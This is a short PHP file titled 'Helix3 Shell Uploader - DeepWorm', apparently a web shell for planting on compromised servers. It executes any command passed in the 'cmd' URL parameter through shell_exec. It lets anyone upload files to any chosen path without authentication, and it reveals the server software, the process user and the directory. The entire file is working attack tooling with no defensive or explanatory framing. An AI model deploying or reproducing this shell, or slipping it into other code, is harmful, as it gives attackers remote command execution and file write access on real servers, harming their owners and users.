<?php
// Helix3 Shell Uploader - DeepWorm
if(isset($_GET['cmd'])){
    echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
} elseif(isset($_POST['upload'])){
    $path = isset($_POST['path']) ? $_POST['path'] : '.';
    $target = rtrim($path, '/') . '/' . $_FILES['file']['name'];
    if(move_uploaded_file($_FILES['file']['tmp_name'], $target)){
        echo "OK:" . $target;
    } else {
        echo "FAIL:" . $target;
    }
} else {
    echo "<h2>Helix3 Shell Uploader</h2>";
    echo "<form method='post' enctype='multipart/form-data'>";
    echo "<input type='file' name='file'>";
    echo "<input type='text' name='path' value='.'>";
    echo "<input type='submit' name='upload' value='Upload'>";
    echo "</form>";
    echo "<hr>";
    echo "Server: " . $_SERVER['SERVER_SOFTWARE'] . "<br>";
    echo "User: " . get_current_user() . "<br>";
    echo "Path: " . __DIR__ . "<br>";
}
?>